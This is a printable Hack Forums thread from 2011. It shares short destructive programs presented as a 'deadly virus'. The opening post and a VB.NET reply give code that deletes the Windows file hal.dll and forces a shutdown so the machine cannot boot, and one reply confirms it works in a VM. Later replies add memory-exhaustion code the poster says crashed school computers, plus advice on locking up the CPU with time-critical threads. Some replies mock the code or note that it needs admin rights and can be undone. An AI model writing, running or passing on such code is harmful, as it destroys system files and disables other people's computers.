Hack Forums
[C] [CODE] A Deadly C++ Virus - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C] [CODE] A Deadly C++ Virus (/showthread.php?tid=1460606)

Pages: Pages 1 2 3


[CODE] A Deadly C++ Virus - aztech - Jul 8, 2011

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

Code
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:


#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}



* - Mr. 8 - Jul 8, 2011

I have tried this with XP service pack 3 in a virtual machine and can confirm it works.


* - wertyl11 - Jul 8, 2011

Code
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  IO.File.Delete("C:\windows\system32\hal.dll")
  Process.Start("shutdown", "-s")
    End Sub
End Class

Just as dangerous virus in VB.net


* - Terence McKenna - Jul 8, 2011

That is really dangerous, I'm not compiling that :P


* - Dbof - Jul 8, 2011

I guess this does not work on Windows without administrative rights.


* - wertyl11 - Jul 8, 2011

(Jul 8, 2011 05:05 AM)Dbof Wrote:  I guess this does not work on Windows without administrative rights.

Yeah, luckily it needs administrative rights :D


* - RDCA - Jul 8, 2011

Files can be restored, just because you get rid of it does not mean people can't fix it.


* - Flying Cow - Jul 8, 2011

Are you just copying this from the 10.000 people who made this before?
This is just shit.


* - vive facile - Jul 8, 2011

What stops them from putting hal.dll back into the correct directory? (and no, you do not need to boot windows to do that).


* - rayven18 - Jul 8, 2011

Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!


* - ((void (*)())NULL)() - Jul 8, 2011

You might as well do this with Batch. Two out of the three payloads were system().


* - Navigator - Jul 8, 2011

(Jul 8, 2011 02:07 PM)rayven18 Wrote:  Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

It won't burn your CPU and an application has a memory limit of 2GB - if it exceeds this limit, it gets terminated. If you really want to drain all the CPU power and make the system unresponsive then the way is to determine the number of CPU cores and spawn an endless thread with the priority THREAD_PRIORITY_TIME_CRITICAL for each core.


* - StephenRoos - Jul 8, 2011

(Jul 8, 2011 04:48 AM)aztech Wrote:  After deleting that, it shuts down, never to start again.

Unless they take five seconds to google "windows won't start" and then figure out how to go to the repair console and type "bootcfg".

You're a retard.




* - THEOLLIE8 - Jul 8, 2011

you can do better with a batch file, that's erally a waste of c++, but still good job anyway


* - vive facile - Jul 8, 2011

(Jul 8, 2011 02:07 PM)rayven18 Wrote:  Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

You're better off with a vector of long pointers, and create a new long variable in freestore in an endless loop, it will shut the computer down in a few seconds. Did this in my computers at college, and it shut them down.

EDIT: I found the code I wrote a very long time ago which crashed a few school computers. Pretty funny when windows just restarts. Note, this does not work on linux, as linux will start deleting the memory to make room for more.
Code
#include <iostream>

#include <vector>

using namespace std;

int main()

{

    vector<int*> ptr;

    int num1 = 987654321;

    for(int i = 0; i < num1; i++)

  ptr.push_back(new int(i));

    return 0;

}